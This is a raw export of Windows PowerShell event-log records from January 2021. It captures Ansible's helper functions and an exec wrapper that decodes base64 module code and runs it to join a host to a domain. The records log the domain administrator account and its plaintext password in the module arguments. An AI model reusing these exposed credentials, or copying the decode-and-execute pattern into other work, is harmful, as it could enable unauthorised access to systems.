PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1984 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3672 | 2360 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:18 AM | dfeadd90-ee34-0000-50ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1983 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2140 | 2960 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:16 AM | dfeadd90-ee34-0000-43ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2140 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1982 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2140 | 1284 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:16 AM | dfeadd90-ee34-0000-43ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1981 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2140 | 2960 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:16 AM | dfeadd90-ee34-0000-43ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1980 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4188 | 3840 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0003-d8f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4188 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1979 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4188 | 3648 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0003-d8f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1978 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4188 | 3840 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0003-d8f5-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1977 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2116 | 1200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0001-772b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2116 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1976 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2116 | 2896 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0001-772b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1975 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2116 | 1200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:15 AM | dfeadd90-ee34-0001-772b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 3c2a864c-9f35-4f98-a0f9-e9f306b39804
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1974 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:12 AM | dfeadd90-ee34-0001-262b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: d4eb764b-fd38-453a-a483-224b4532f37f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1973 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:12 AM | dfeadd90-ee34-0001-172b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
use", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "domain_admin_user": "administrator@cbci-758944-2.local", "log_path": "c:\\openstack\\log\\join-ad-result.log", "dns_domain_name": "cbci-758944-2.local", "_ansible_module_name": "win_domain_membership", "hostname": "n-h1-758944-2", "domain_admin_password": "Passw0rd", "_ansible_keep_remote_files": false, "_ansible_verbosity": 2, "_ansible_socket": null, "state": "domain", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 6b958e65-e285-41f5-9933-d933394fe38a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1972 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4980 | 4192 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:11 AM | dfeadd90-ee34-0001-112b-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
CRkbnNfZG9tYWluX25hbWUsICRkb21haW5fbWF0Y2gpCgogICAgICAgIHJldHVybiAkZG9tYWluX21hdGNoCiAgICB9CiAgICBDYXRjaCBbU3lzdGVtLkRpcmVjdG9yeVNlcnZpY2VzLkFjdGl2ZURpcmVjdG9yeS5BY3RpdmVEaXJlY3RvcnlPYmplY3ROb3RGb3VuZEV4Y2VwdGlvbl0gewogIC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W5nZWQgLWFuZCAtbm90ICRfYW5zaWJsZV9jaGVja19tb2RlKSB7CiAgICAgICAgICAgICAgICBJZigtbm90ICRkb21haW5fbWF0Y2gpIHsKICAgICAgICAgICAgICAgICAgICBJZihJcy1Eb21haW5Kb2luZWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtRGVidWdMb2cgImRvbWFpbiBkb2Vzbid0IG1hdGNoLCBhbmQgd2UncmUgYWxyZWFkeSBqb2luZWQgdG8gYW5vdGhlciBkb21haW4iCiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93ICJzd2l0Y2hpbmcgZG9tYWlucyBpcyBub3QgaW1wbGVtZW50ZWQiCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAkam9pbl9hcmdzID0gQHsKICAgICAgICAgICAgICAgICAgICAgICAgZG5zX2RvbWFpbl9uYW1lID0gJGRuc19kb21haW5fbmFtZQogICAgICAgICAgICAgICAgICAgICAgICBkb21haW5fYWRtaW5fdXNlciA9ICRkb21haW5fYWRtaW5fdXNlcgogICAgICAgICAgICAgICAgICAgICAgICBkb21haW5fYWRtaW5fcGFzc3dvcmQgPSAkZG9tYWluX2FkbWluX3Bhc3N3b3JkCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBXcml0ZS1EZWJ1Z0xvZyAibm90IGEgZG9tYWluIG1lbWJlciwgam9pbmluZy4uLiIKCiAgICAgICAgICAgICAgICAgICAgSWYoLW5vdCAkaG9zdG5hbWVfbWF0Y2gpIHsKICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtRGVidWdMb2cgImFkZGluZyBob3N0bmFtZSBjaGFuZ2UgdG8gZG9tYWluLWpvaW4gYXJncyIKICAgICAgICAgICAgICAgICAgICAgICAgJGpvaW5fYXJncy5uZXdfaG9zdG5hbWUgPSAkaG9zdG5hbWUKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgSWYoJGRvbWFpbl9vdV9wYXRoIC1uZSAkbnVsbCl7ICMgSWYgT1UgUGF0aCBpcyBub3QgZW1wdHkKICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtRGVidWdMb2cgImFkZGluZyBkb21haW5fb3VfcGF0aCB0byBkb21haW4tam9pbiBhcmdzIgogICAgICAgICAgICAgICAgICAgICAgICAkam9pbl9hcmdzLmRvbWFpbl9vdV9wYXRoID0gJGRvbWFpbl9vdV9wYXRoCiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAkam9pbl9yZXN1bHQgPSBKb2luLURvbWFpbiBAam9pbl9hcmdzCgogICAgICAgICAgICAgICAgICAgICMgdGhpcyBjaGFuZ2UgcmVxdWlyZXMgYSByZWJvb3QKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0LnJlYm9vdF9yZXF1aXJlZCA9ICR0cnVlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBFbHNlSWYoLW5vdCAkaG9zdG5hbWVfbWF0Y2gpIHsgIyBkb21haW4gbWF0Y2hlcyBidXQgaG9zdG5hbWUgZG9lc24ndCwganVzdCBkbyBhIHJlbmFtZQogICAgICAgICAgICAgICAgICAgIFdyaXRlLURlYnVnTG9nICgiZG9tYWluIG1hdGNoZXMsIHNldHRpbmcgaG9zdG5hbWUgdG8gezB9IiAtZiAkaG9zdG5hbWUpCgogICAgICAgICAgICAgICAgICAgICRyZW5hbWVfYXJncyA9IEB7TmV3TmFtZT0kaG9zdG5hbWV9CgogICAgICAgICAgICAgICAgICAgIElmIChJcy1Eb21haW5Kb2luZWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbl9jcmVkID0gQ3JlYXRlLUNyZWRlbnRpYWwgJGRvbWFpbl9hZG1pbl91c2VyICRkb21haW5fYWRtaW5fcGFzc3dvcmQKICAgICAgICAgICAgICAgICAgICAgICAgJHJlbmFtZV9hcmdzLkRvbWFpbkNyZWRlbnRpYWwgPSAkZG9tYWluX2NyZWQKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICRyZW5hbWVfcmVzdWx0ID0gUmVuYW1lLUNvbXB1dGVyIEByZW5hbWVfYXJncwoKICAgICAgICAgICAgICAgICAgICAjIHRoaXMgY2hhbmdlIHJlcXVpcmVzIGEgcmVib290CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdC5yZWJvb3RfcmVxdWlyZWQgPSAkdHJ1ZQogICAgICAgICAgICAgICAgfSBFbHNlIHsKICAgICAgICAgICAgICAgICAgICAjIG5vIGNoYW5nZSBpcyBuZWVkZWQKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgIH0KICAgICAgICAgICAgRWxzZSB7CiAgICAgICAgICAgICAgICBXcml0ZS1EZWJ1Z0xvZyAiY2hlY2sgbW9kZSwgZXhpdGluZyBlYXJseS4uLiIKICAgICAgICAgICAgfQoKICAgICAgICB9CgogICAgICAgIHdvcmtncm91cCB7CiAgICAgICAgICAgICR3b3JrZ3JvdXBfbWF0Y2ggPSAkKEdldC1Xb3JrZ3JvdXApIC1lcSAkd29ya2dyb3VwX25hbWUKCiAgICAgICAgICAgICRyZXN1bHQuY2hhbmdlZCA9ICRyZXN1bHQuY2hhbmdlZCAtb3IgKC1ub3QgJHdvcmtncm91cF9tYXRjaCkKCiAgICAgICAgICAgIElmKC1ub3QgJF9hbnNpYmxlX2NoZWNrX21vZGUpIHsKICAgICAgICAgICAgICAgIElmKC1ub3QgJHdvcmtncm91cF9tYXRjaCkgewogICAgICAgICAgICAgICAgICAgIFdyaXRlLURlYnVnTG9nICgic2V0dGluZyB3b3JrZ3JvdXAgdG8gezB9IiAtZiAkd29ya2dyb3VwX25hbWUpCiAgICAgICAgICAgICAgICAgICAgJGpvaW5fd2dfcmVzdWx0ID0gSm9pbi1Xb3JrZ3JvdXAgLXdvcmtncm91cF9uYW1lICR3b3JrZ3JvdXBfbmFtZSAtZG9tYWluX2FkbWluX3VzZXIgJGRvbWFpbl9hZG1pbl91c2VyIC1kb21haW5fYWRtaW5fcGFzc3dvcmQgJGRvbWFpbl9hZG1pbl9wYXNzd29yZAoKICAgICAgICAgICAgICAgICAgICAjIHRoaXMgY2hhbmdlIHJlcXVpcmVzIGEgcmVib290CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdC5yZWJvb3RfcmVxdWlyZWQgPSAkdHJ1ZQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgSWYoLW5vdCAkaG9zdG5hbWVfbWF0Y2gpIHsKICAgICAgICAgICAgICAgICAgICBXcml0ZS1EZWJ1Z0xvZyAoInNldHRpbmcgaG9zdG5hbWUgdG8gezB9IiAtZiAkaG9zdG5hbWUpCiAgICAgICAgICAgICAgICAgICAgJHJlbmFtZV9yZXN1bHQgPSBSZW5hbWUtQ29tcHV0ZXIgLU5ld05hbWUgJGhvc3RuYW1lCgogICAgICAgICAgICAgICAgICAgICMgdGhpcyBjaGFuZ2UgcmVxdWlyZXMgYSByZWJvb3QKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0LnJlYm9vdF9yZXF1aXJlZCA9ICR0cnVlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZGVmYXVsdCB7IHRocm93ICJpbnZhbGlkIHN0YXRlICRzdGF0ZSIgfQogICAgfQoKICAgIEV4aXQtSnNvbiAkcmVzdWx0Cn0KQ2F0Y2ggewogICAgJGV4Y2VwID0gJF8KCiAgICBXcml0ZS1EZWJ1Z0xvZyAiRXhjZXB0aW9uOiAkKCRleGNlcCB8IG91dC1zdHJpbmcpIgoKICAgIFRocm93Cn0K", "module_args": {"_ansible_version": "2.7.0", "_ansible_syslog_facility": "LOG_USER", "_ansible_selinux_special_fs": ["f
ScriptBlock ID: 6b958e65-e285-41f5-9933-d933394fe38a
